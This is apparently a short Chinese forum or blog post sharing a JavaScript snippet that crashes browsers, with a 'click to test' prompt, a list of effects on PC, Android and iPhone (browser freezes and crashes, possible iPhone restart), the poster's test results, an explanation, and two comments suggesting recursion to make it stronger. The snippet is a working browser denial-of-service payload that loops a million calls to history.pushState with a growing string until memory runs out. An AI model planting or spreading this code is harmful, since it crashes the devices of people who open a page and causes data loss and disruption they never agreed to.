在csngmap的磨盘看到的一段让电脑崩溃手机重启的代码:
- <script>
- var total = "";
- for (var i = 0; i < 1000000; i++)
- {
- total = total + i.toString();
- history.pushState(0, 0, total);
- }
- </script>
点击测试
点击完可能产生的后果:
PC端用浏览器打开:点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死。
移动端(安卓、iPhone)用三方浏览器打开:点开链接以后浏览器会闪退。
移动端(安卓、iPhone)用嵌入浏览器的应用打开:在微博、微信客户端中点开链接会闪退。
iPhone用Safari打开:点开链接之后,手机可能会注销重启。
自己在安卓手机测试效果:
用QQ打开,卡死;
用谷歌浏览器打开,浏览器停止运行。
原理:
利用history.pushState()向history添加当前页面的记录。循环了1000000次,快速地向history中添加记录,最终就会导致内存占用迅速增大到机器无法承受,然后浏览器崩溃。
大致
递归不是更快?虽然我不知道JS有没有递归。
tracis
递归是可以的,就是不知道可不可以像cookies那样缓存在浏览器里